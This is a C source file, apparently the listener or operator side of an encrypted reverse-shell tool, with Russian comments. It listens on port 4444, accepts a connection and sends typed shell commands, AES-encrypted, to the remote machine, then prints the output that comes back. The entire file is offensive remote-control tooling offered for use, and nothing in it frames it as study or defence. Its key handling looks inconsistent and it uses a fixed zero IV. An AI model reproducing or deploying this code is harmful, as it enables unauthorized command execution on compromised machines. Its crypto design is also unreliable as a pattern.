#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <openssl/evp.h>
#include <openssl/rand.h>
#include <openssl/sha.h>

#define PORT 4444
#define AES_KEY_SIZE 16
#define AES_BLOCK_SIZE 16

unsigned char key[AES_KEY_SIZE];

void generate_aes_key() {
    FILE *fp = popen("cat /sys/class/dmi/id/product_uuid", "r");
    char buffer[256];
    if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) {
        pclose(fp);
        RAND_bytes(key, AES_KEY_SIZE);
    } else {
        pclose(fp);
        SHA256((unsigned char *)buffer, strlen(buffer), key);
    }
}

int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) {
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    int len, ciphertext_len;

    EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
    EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len);
    ciphertext_len = len;
    EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
    ciphertext_len += len;

    EVP_CIPHER_CTX_free(ctx);
    return ciphertext_len;
}

int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) {
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    int len, plaintext_len;

    EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
    EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len);
    plaintext_len = len;
    EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
    plaintext_len += len;

    plaintext[plaintext_len] = '\0';
    EVP_CIPHER_CTX_free(ctx);
    return plaintext_len;
}

int main() {
    generate_aes_key();

    int server_sock, client_sock;
    struct sockaddr_in server, client;
    socklen_t client_size = sizeof(client);
    unsigned char buffer[1024], encrypted[1024], decrypted[1024];
    unsigned char iv[AES_BLOCK_SIZE] = {0};  // IV для шифрования

    server_sock = socket(AF_INET, SOCK_STREAM, 0);
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);

    bind(server_sock, (struct sockaddr *)&server, sizeof(server));
    listen(server_sock, 1);

    printf("[+] Сервер слушает на порту %d...\n", PORT);
    client_sock = accept(server_sock, (struct sockaddr *)&client, &client_size);
    printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr));

    while (1) {
        printf("Shell> ");
        fgets((char *)buffer, sizeof(buffer), stdin);

        // Убираем \n из команды
        buffer[strcspn((char *)buffer, "\n")] = '\0';

        int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted);
        send(client_sock, encrypted, encrypted_len, 0);

        int recv_len = recv(client_sock, encrypted, sizeof(encrypted), 0);
        int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted);
        printf("%s\n", decrypted);
    }

    close(client_sock);
    close(server_sock);
    return 0;
}